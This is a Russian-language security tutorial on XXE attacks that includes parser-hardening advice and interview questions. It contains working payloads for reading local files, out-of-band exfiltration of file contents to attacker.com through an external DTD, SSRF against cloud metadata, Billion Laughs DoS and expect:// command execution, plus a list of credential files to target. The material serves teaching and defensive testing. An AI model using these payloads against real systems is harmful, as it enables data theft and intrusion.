На странице
XML External Entity (XXE)
1. Что такое XXE
XXE — уязвимость, при которой XML-парсер резолвит внешние сущности, позволяя атакующему читать файлы, делать серверные запросы и (иногда) выполнять код.
Атакующий → XML с вредоносным DTD → Парсер → Резолвит сущность
↓
file:///etc/passwd
http://169.254.169.254/...
http://internal-service/...
Ключевое: парсер сам идёт за данными по URL из SYSTEM — атакующий лишь указывает куда.
Это не баг в коде приложения — это дизайн спецификации XML 1998 года, который большинство парсеров поддерживают по умолчанию. Поддержка внешних сущностей была фичей, а не багом. Проблема в том, что «любой URI» включает file://, http://, ftp://, а иногда и expect://.
2. Фундамент: XML, DTD, Entities
XML-сущность (Entity)
Сущность — это переменная в XML. Объявляется в DTD, используется в документе или в самом DTD.
Два деления сущностей
По источнику значения:
| Тип | Значение | Пример |
|---|---|---|
| Внутренняя (internal) | Задано прямо в DTD | <!ENTITY name "Иван"> |
| Внешняя (external) | Загружается из файла/URL | <!ENTITY name SYSTEM "file:///etc/passwd"> |
По месту использования:
| Тип | Синтаксис | Где работает | Для чего |
|---|---|---|---|
| General entity | &name; | В теле XML-документа | Classic XXE |
| Parameter entity | %name; | Только внутри DTD | Blind XXE (OOB) |
<!-- General entity — в теле документа -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<foo>&xxe;</foo>
<!-- Parameter entity — внутри DTD -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY send SYSTEM 'http://attacker.com/?d=%file;'>">
%eval;
Почему parameter entity важны: в blind XXE нужно собрать payload внутри DTD — прочитать файл и вставить его содержимое в URL. General entity так не может — он работает только в теле. Parameter entity позволяет подставлять значения прямо в DTD, строя динамические конструкции.
Ограничение parameter entities в internal DTD subset
По спецификации XML нельзя определить parameter entity и использовать её для создания новых entity в том же internal DTD subset. Это означает, что конструкция вида <!ENTITY % a "..."> <!ENTITY % b "<!ENTITY % c SYSTEM '...'> %a;"> %b; внутри <!DOCTYPE foo [ ... ]> не работает — парсер отклонит её.
Именно поэтому для blind XXE нужен внешний DTD — parameter entities полноценно работают только во внешнем DTD. Это объясняет, почему blind XXE всегда загружает evil.dtd с сервера атакующего: только в загруженном DTD-файле парсер позволяет свободно комбинировать parameter entities, создавая цепочки подстановок.
Исключение — трюк с переопределением entity из локального системного DTD (описан в разделе 4, Error-based через переопределение сущности). В этом случае мы подгружаем легитимный DTD-файл с самого сервера и переопределяем одну из его сущностей своим payload.
DTD (Document Type Definition)
DTD — набор правил, описывающих структуру XML. Именно в DTD объявляются сущности.
Без DTD → нет объявления сущностей → нет XXE.
Где может находиться DTD:
<!-- 1. Внутренний DTD — в самом документе (между [ и ]) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<!-- 2. Внешний DTD — загружается по URL -->
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">
<foo>&xxe;</foo>
<!-- 3. Комбинированный — внутренний + внешний -->
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd" [
<!ENTITY % local "значение">
]>
3. Где искать XXE
Очевидные точки
- API-эндпоинты с
Content-Type: application/xmlилиtext/xml - SOAP-сервисы (весь протокол на XML)
- Загрузка XML-файлов (конфиги, фиды, данные)
- RSS/Atom-импорт
Менее очевидные точки
- Загрузка SVG — SVG это XML
- Загрузка DOCX/XLSX/PPTX — ZIP-архивы с XML внутри
- Загрузка GPX — геоданные в XML
- XHTML — HTML в формате XML
- SAML — аутентификация на основе XML
- PDF-генерация из XML/XSLT
- Конфигурационные файлы —
.xml,.plist,.svg
Подмена Content-Type (JSON → XML)
Если приложение принимает JSON, попробуй сменить формат:
# Было:
POST /api/user HTTP/1.1
Content-Type: application/json
{"name": "test", "email": "test@test.com"}
# Стало:
POST /api/user HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
<email>test@test.com</email>
</user>
Почему работает: фреймворки (Spring, ASP.NET, Rails) часто выбирают парсер автоматически по Content-Type. Если XML-парсер включён и не захарденен — XXE.
Проверяй также: text/xml, application/xhtml+xml, image/svg+xml.
4. Типы XXE
4.1 Classic (Non-blind) XXE
Ответ парсера отображается — содержимое файла видно в ответе.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
Ответ сервера:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
4.2 Blind XXE
Ответ парсера не отображается. Три подхода:
OOB (Out-of-Band) — отправка данных наружу
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&send;</foo>
evil.dtd на сервере атакующего:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?d=%file;'>">
%all;
Цепочка:
- Парсер читает
/etc/hostname→ в%file - Загружает
evil.dtd→ в%dtd %allсобирает новую сущностьsendс данными в URL&send;триггерит HTTP-запрос на attacker.com с данными
Инструменты для приёма: Burp Collaborator, interactsh, свой сервер с python3 -m http.server.
Error-based — данные в сообщении об ошибке
Полезно когда firewall блокирует исходящие (OOB не работает).
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://attacker.com/error.dtd">
%dtd;
]>
<foo>&trigger;</foo>
error.dtd:
<!ENTITY % all "<!ENTITY trigger SYSTEM 'file:///nonexistent/%file;'>">
%all;
Парсер пытается открыть file:///nonexistent/web-server-01 → ошибка:
java.io.FileNotFoundException: /nonexistent/web-server-01
→ Содержимое файла в тексте ошибки.
Error-based через переопределение сущности (без исходящих)
Если даже evil.dtd загрузить нельзя, но есть локальный DTD на сервере:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<foo>bar</foo>
Переопределяем сущность из локального DTD, вставляя свой payload. Это единственный способ эксплуатации, когда исходящие соединения полностью заблокированы — никакой внешний DTD не нужен, всё происходит локально.
4.3 XXE → SSRF
XXE — полноценный вектор для SSRF:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-service:8080/admin">
]>
<foo>&xxe;</foo>
Все техники из SSRF применимы: cloud metadata, сканирование портов, обращение к внутренним сервисам.
4.4 XXE → DoS (Billion Laughs)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!-- ... -->
]>
<foo>&lol9;</foo>
9 уровней вложенности = 10^9 копий строки "lol" — гигабайты в памяти парсера. Экспоненциальное раскрытие → парсер съедает всю память.
Не даёт утечки данных, но полезно для:
- Подтверждения обработки DTD — если Billion Laughs работает, парсер обрабатывает entities, можно пробовать XXE
- DoS-атаки — выведение сервиса из строя
5. XInclude
Когда актуально
Ты не контролируешь весь XML-документ — только часть данных, которая вставляется в XML на сервере. DOCTYPE объявить нельзя (он должен быть в начале документа).
Пример: твой ввод (имя пользователя, комментарий) подставляется внутрь XML-шаблона на бэкенде.
Payload
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
xmlns:xi— объявление namespace для XIncludeparse="text"— читать как текст (без этого парсер ожидает валидный XML)- Не нужен DOCTYPE
- Работает только если парсер поддерживает XInclude (libxml2, Xerces, большинство Java-парсеров)
Практическое упражнение: XInclude атака (PortSwigger).
6. XXE через файловые форматы
SVG
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="0" y="20">&xxe;</text>
</svg>
Загружаешь как аватар/картинку → если сервер парсит SVG (например, конвертирует в PNG) → XXE.
DOCX / XLSX
- Создай обычный
.docxфайл - Распакуй (это ZIP):
unzip document.docx -d doc_extracted - Отредактируй
doc_extracted/word/document.xml— вставь DTD с payload - Запакуй обратно:
cd doc_extracted && zip -r ../evil.docx . - Загрузи на сервер
Файлы внутри DOCX, где можно вставить payload:
word/document.xml[Content_Types].xml_rels/.rels
7. Проблема "плохих" символов и обходы
Проблема
Когда парсер подставляет содержимое файла, он пытается распарсить его как XML. Если в файле есть <, &, ]]> — парсер ломается.
file:///etc/passwd ✅ — нет спецсимволов
file:///var/www/config.php ❌ — полно < и &
file:///etc/fstab ❌ — могут быть &
Обход 1: PHP-фильтр (если сервер на PHP)
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
Файл приходит в base64 — никаких спецсимволов. Декодируешь на своей стороне.
Обход 2: CDATA-обёртка через parameter entities
evil.dtd:
<!ENTITY % file SYSTEM "file:///var/www/html/config.php">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY wrapped '%start;%file;%end;'>">
%all;
Основной XML:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&wrapped;</foo>
Содержимое файла оборачивается в CDATA → парсер не интерпретирует спецсимволы.
Обход 3: Протокол jar:// (Java)
jar:http://attacker.com/evil.jar!/file.txt
Java-специфичный — скачивает архив, распаковывает, читает файл внутри. Может использоваться для обхода ограничений на протоколы.
8. Эксплуатация: что читать
Системные файлы
Linux:
file:///etc/passwd
file:///etc/shadow — хеши паролей (нужен root)
file:///etc/hostname
file:///proc/self/environ — переменные окружения (секреты, ключи)
file:///proc/self/cmdline — аргументы процесса
file:///home/user/.ssh/id_rsa — приватный SSH-ключ
file:///home/user/.bash_history — история команд
Windows:
file:///C:/Windows/win.ini
file:///C:/Windows/System32/drivers/etc/hosts
file:///C:/Users/Administrator/.ssh/id_rsa
file:///C:/inetpub/wwwroot/web.config
Конфиги приложений
file:///var/www/html/config.php
file:///var/www/html/.env
file:///var/www/html/wp-config.php
file:///opt/app/application.properties — Spring Boot
file:///opt/app/application.yml
file:///etc/nginx/nginx.conf
file:///etc/apache2/sites-enabled/000-default.conf
Cloud metadata (XXE → SSRF)
http://169.254.169.254/latest/meta-data/iam/security-credentials/ — AWS
http://metadata.google.internal/computeMetadata/v1/ — GCP
http://169.254.169.254/metadata/instance — Azure
Подробнее о SSRF: SSRF (Server-Side Request Forgery).
9. XXE через XSLT
Если сервер выполняет XSLT-трансформацию, функция document() в XSLT может использоваться для чтения файлов и HTTP-запросов — аналогично XXE, но через другой механизм. Это отдельная поверхность атаки, не связанная с DTD и entities.
Чтение файлов через XSLT
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/">
<xsl:copy-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
SSRF через XSLT
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/">
<xsl:copy-of select="document('http://169.254.169.254/latest/meta-data/')"/>
</xsl:template>
</xsl:stylesheet>
Почему это работает
XSLT-процессоры (Xalan, Saxon, libxslt) по умолчанию разрешают document(). Функция предназначена для загрузки дополнительных XML-документов во время трансформации, но поддерживает произвольные URI — включая file:// и http://.
Важно: даже если приложение полностью отключило DTD и external entities в XML-парсере, XSLT-трансформация может оставаться уязвимой. Это два разных механизма, и защита от одного не защищает от другого.
10. Связки с другими уязвимостями
XXE редко существует в вакууме — часто эксплуатация строится на цепочке с другими уязвимостями:
| Цепочка | Как работает | Импакт |
|---|---|---|
| XXE → SSRF | Внешняя сущность с http:// URI | Cloud metadata, внутренние сервисы |
| XXE → LFI | Чтение исходного кода → поиск новых уязвимостей | Раскрытие секретов, дальнейшая эскалация |
| Blind XXE + DNS | DNS exfiltration работает даже через строгие HTTP-файерволы | Подтверждение уязвимости, медленная эксфильтрация |
| XXE → RCE | expect:// (PHP), jar:// цепочки, XSLT code execution | Полный контроль сервера |
| SSRF → XXE | SSRF на внутренний сервис, парсящий XML | Чтение локальных файлов внутреннего сервера |
XXE → RCE (PHP + expect)
URI-схема expect:// в PHP выполняет shell-команды:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo>
Если сервер возвращает uid=33(www-data)... — это RCE. Условия: PHP + загруженное расширение expect. Редко встречается в продакшне, часто — в CTF.
DNS exfiltration
Когда HTTP-исходящие полностью заблокированы, DNS-запросы часто проходят:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY send SYSTEM 'http://%file;.attacker.com/'>">
%eval;
Данные приходят как поддомен в DNS-запросе — можно отслеживать через Burp Collaborator или interactsh.
Подробнее о SSRF: SSRF (Server-Side Request Forgery).
11. Методология тестирования
Шаг 1: Обнаружение точек входа
- Найти все эндпоинты, принимающие XML (Content-Type, SOAP, файлы)
- Проверить загрузку файлов: SVG, DOCX, XLSX, XML
- Попробовать подменить Content-Type с JSON на XML
- Проверить SAML-эндпоинты
Шаг 2: Проверка обработки DTD
Отправь безвредный payload — если парсер обрабатывает DTD, XXE возможна:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "testvalue">
]>
<foo>&xxe;</foo>
Если в ответе testvalue → DTD обрабатывается → пробуем external entity.
Шаг 3: Определение типа
| Ситуация | Тип | Подход |
|---|---|---|
| Ответ парсера виден | Classic | SYSTEM "file:///etc/passwd" |
| Ответ не виден, исходящие разрешены | Blind OOB | Parameter entities + внешний DTD |
| Ответ не виден, исходящие заблокированы | Blind Error-based | Ошибка с данными или локальный DTD |
| Не контролируешь DOCTYPE | XInclude | xi:include |
Шаг 4: Эксплуатация
1. file:///etc/passwd → подтверждение чтения файлов
2. file:///proc/self/environ → секреты из env
3. file:///home/user/.ssh/id_rsa → SSH-ключи
4. http://169.254.169.254/... → cloud credentials
5. http://internal:PORT/... → SSRF к внутренним сервисам
6. php://filter/... → чтение PHP-кода (base64)
Шаг 5: Если не работает
- Попробуй другие протоколы:
file://,http://,php://,jar:// - Попробуй parameter entities вместо general
- Попробуй XInclude
- Попробуй error-based подход
- Попробуй через файлы (SVG, DOCX)
- Проверь другие Content-Type
- Попробуй UTF-16-кодирование (некоторые фильтры проверяют DOCTYPE только в ASCII)
- Разбей payload на несколько определений сущностей
12. Защита от XXE
Правильный подход — отключить DTD/внешние сущности
Java (DocumentBuilderFactory) — самый надёжный:
// Запретить DOCTYPE целиком
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
Java (SAXParserFactory):
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
Python (lxml):
parser = etree.XMLParser(resolve_entities=False, no_network=True)
PHP:
libxml_disable_entity_loader(true); // PHP < 8.0
// В PHP 8.0+ внешние сущности отключены по умолчанию
C# (.NET):
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
Ruby (Nokogiri):
Nokogiri::XML(xml) { |config| config.nonet }
Ловушка: LIBXML_NOENT в PHP
// УЯЗВИМО — ВКЛЮЧАЕТ подстановку сущностей:
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
// БЕЗОПАСНО — без флага:
$doc = simplexml_load_string($xml);
LIBXML_NOENT = "подставляй значения сущностей в текст" → парсер резолвит external entities → XXE.
Название обманчиво: "NO ENT" кажется = "нет сущностей", но на деле = "нет сущностей в выводе" (заменяй их значениями).
Дефолты парсеров по языкам и версиям
| Язык / Библиотека | Безопасен по умолчанию? | С какой версии | Примечание |
|---|---|---|---|
Java DocumentBuilderFactory | Нет | — | Нужна явная настройка даже в Java 17+ |
Java SAXParserFactory | Нет | — | Аналогично |
PHP simplexml_load_string | Да | PHP 8.0+ | В PHP <8 нужен libxml_disable_entity_loader(true) |
PHP + LIBXML_NOENT | НЕТ! | — | Флаг включает подстановку entities (ловушка) |
Python lxml | Да | 4.6+ | resolve_entities=False, no_network=True по умолчанию |
Python defusedxml | Да | всегда | Специально создан для безопасного парсинга |
Python xml.etree.ElementTree | Частично | — | Не поддерживает external entities, но уязвим к Billion Laughs |
.NET XmlReader | Да | .NET Core | В .NET Framework зависит от версии |
Ruby Nokogiri | Да | 1.13+ | NONET по умолчанию |
| libxml2 | Да | 2.9+ | Но LIBXML_NOENT ломает защиту |
Общие принципы
- Отключай DTD целиком — не пытайся фильтровать отдельные сущности
- Не доверяй дефолтам — во многих языках external entities включены по умолчанию
- Валидируй Content-Type — не принимай XML если не ожидаешь
- Парси файлы безопасно — SVG, DOCX, XLSX парсить с отключёнными entities
- Не фильтруй входные данные — фильтры обходятся (UTF-16, parametric entities)
- Не используй XML там, где подойдёт JSON
- Проверяй парсеры всех форматов, которые могут содержать XML: SVG, DOCX, XLSX, SAML
- Следи за конкретными версиями библиотек и их дефолтами — не полагайся на "наверное безопасен"
13. Оценка Severity
| Severity | Условия |
|---|---|
| Critical | Чтение произвольных файлов с секретами, cloud credentials через SSRF, RCE через цепочку |
| High | Чтение системных файлов (/etc/passwd, конфиги), SSRF к внутренней сети |
| Medium | Blind XXE с ограниченной эксфильтрацией, SSRF только к определённым хостам |
| Low | Только DoS (Billion Laughs), DTD обрабатывается но external entities заблокированы |
14. Инструменты
| Инструмент | Назначение |
|---|---|
| Burp Suite | Перехват запросов, подмена Content-Type, тестирование payload'ов |
| Burp Collaborator / interactsh | Подтверждение blind XXE (OOB-callback) |
| XXEinjector | Автоматизация XXE-эксплуатации (OOB, error-based) |
| oxml_xxe | Генерация DOCX/XLSX/PPTX с XXE-payload |
| docem | Встраивание XXE в DOCX/XLSX/ODT |
| python3 -m http.server | Быстрый сервер для приёма OOB и отдачи evil.dtd |
15. Известные кейсы
Facebook (2014, Bug Bounty):
Blind XXE через загрузку DOCX в карьерном портале → чтение /etc/passwd. Баунти $30,000+.
Uber (2016, Bug Bounty): XXE в SAML-парсере → чтение произвольных файлов с сервера.
Google (2014, Bug Bounty): XXE через загрузку XLSX в Google Toolbar button gallery.
PortSwigger Research: XXE через SVG в загрузке аватаров — распространённый паттерн в реальных приложениях.
16. Q&A — Вопросы для подготовки
1. Что такое XXE?
Уязвимость в XML-парсерах, при которой парсер резолвит внешние сущности (external entities), определённые в DTD. Атакующий указывает URI через SYSTEM — парсер автоматически загружает содержимое файла или URL и подставляет его в документ. Это не баг в коде приложения — это дизайн спецификации XML 1998 года, который большинство парсеров поддерживают по умолчанию.
2. Какая ключевая предпосылка нужна для XXE?
Парсер должен обрабатывать DTD (Document Type Definition) и поддерживать external entities. Без DTD нет объявления сущностей — нет XXE. Если DOCTYPE запрещён на уровне парсера — атака невозможна (за исключением XInclude, который работает без DTD).
3. Какой типовой импакт у XXE?
Чтение произвольных файлов (file:///etc/passwd, конфиги, SSH-ключи, .env), SSRF к внутренним сервисам и cloud metadata (IAM-ключи), DoS через Billion Laughs. В редких случаях — RCE через expect:// (PHP) или цепочку с десериализацией. Blind XXE добавляет OOB-эксфильтрацию и error-based утечку данных.
4. Чем XXE отличается от "обычной" XML injection?
XML injection — это манипуляция структурой XML-документа (вставка тегов, изменение значений). XXE — эксплуатация возможностей самого парсера через DTD и entities. XXE не меняет логику XML — он заставляет парсер загрузить внешние ресурсы. Это разные уровни атаки: injection работает с данными, XXE — с механизмом парсинга.
5. Что такое blind XXE?
Ситуация, когда парсер резолвит external entities, но результат не отображается в ответе. Эксплуатация идёт через три канала: OOB (out-of-band) — отправка данных через HTTP/DNS-запрос на сервер атакующего с помощью parameter entities и внешнего DTD; error-based — провоцирование ошибки, в тексте которой содержатся данные; переопределение entity из локального системного DTD, когда исходящие соединения заблокированы.
6. Как XXE превращается в SSRF?
Замена file:// на http:// в SYSTEM URI. Парсер делает HTTP-запрос на указанный адрес — включая внутренние адреса (169.254.169.254 для cloud metadata, localhost:PORT для внутренних сервисов). XXE — один из самых простых векторов для SSRF, потому что парсер выполняет запрос автоматически.
7. Почему "мы запретили DOCTYPE" — ещё не всегда конец истории?
XInclude не требует DOCTYPE — он работает через XML namespace и может быть инъектирован даже когда атакующий контролирует только часть XML-документа. XSLT-трансформации используют document() для загрузки внешних ресурсов — это отдельный вектор, не связанный с DTD. SVG, DOCX, XLSX — XML-форматы, которые могут обрабатываться другими парсерами с другими настройками.
8. Почему опасно полагаться на фразу "наш парсер safe by default"?
Java DocumentBuilderFactory уязвим по умолчанию даже в Java 17+. PHP с флагом LIBXML_NOENT включает подстановку entities (название обманчиво). Python xml.etree.ElementTree не поддерживает external entities, но уязвим к Billion Laughs. Каждый парсер требует проверки конкретной версии и конфигурации — нет универсального "safe by default".
9. Что такое Billion Laughs и почему это обсуждают рядом с XXE?
Атака на основе вложенных entity, где каждый уровень ссылается на предыдущий 10 раз — экспоненциальное раскрытие. 9 уровней вложенности = 10^9 копий строки "lol" — гигабайты в памяти парсера. Не даёт утечки данных, но подтверждает обработку DTD (если Billion Laughs работает — парсер обрабатывает entities, можно пробовать XXE). Некоторые парсеры защищены от external entities, но уязвимы к Billion Laughs.
10. Как выглядит правильная защита от XXE?
Отключить DTD целиком на уровне парсера (disallow-doctype-decl в Java, DtdProcessing.Prohibit в .NET). Не фильтровать входные данные — фильтры обходятся (UTF-16, parametric entities). Не использовать XML там, где подойдёт JSON. Проверять парсеры всех форматов, которые могут содержать XML: SVG, DOCX, XLSX, SAML. Следить за конкретными версиями библиотек и их дефолтами — не полагаться на "наверное безопасен".
17. Шпаргалка для быстрого повторения
XXE = парсер резолвит внешние сущности из DTD
Сущности:
internal/external — откуда значение
general (&name;) / parameter (%name;) — где используется
Parameter entities → для blind XXE (работают внутри DTD)
Parameter entities в internal DTD subset ограничены →
нужен внешний DTD (или трюк с локальным DTD)
Где: XML API, SOAP, SVG, DOCX/XLSX, подмена Content-Type JSON→XML,
SAML, GPX, XHTML, PDF-генерация из XSLT
Типы:
Classic → ответ виден, SYSTEM "file:///..."
Blind OOB → parameter entities + evil.dtd → HTTP-callback
Error-based → данные в сообщении об ошибке (когда OOB заблокирован)
Local DTD → переопределение entity из системного DTD (без исходящих)
XInclude → нет контроля над DOCTYPE
XSLT → document() для чтения файлов и HTTP (без DTD)
Payload (базовый):
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
"Плохие" символы (< &):
PHP → php://filter/convert.base64-encode/resource=...
Общий → CDATA-обёртка через parameter entities
Java → jar:// для обхода ограничений
Связки:
XXE→SSRF, XXE→LFI, XXE→RCE (expect://),
Blind XXE+DNS, SSRF→XXE
Цели: /etc/passwd, .env, SSH-ключи, cloud metadata, внутренние API
Защита:
Отключить DTD целиком (disallow-doctype-decl)
LIBXML_NOENT → ВКЛЮЧАЕТ подстановку (ловушка!)
Java уязвима по умолчанию даже в 17+
Python xml.etree — нет external entities, но есть Billion Laughs
Не фильтровать — отключать. Не XML — JSON.
Severity: файлы с секретами / cloud keys = critical,
/etc/passwd = high, blind = medium, DoS = low
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.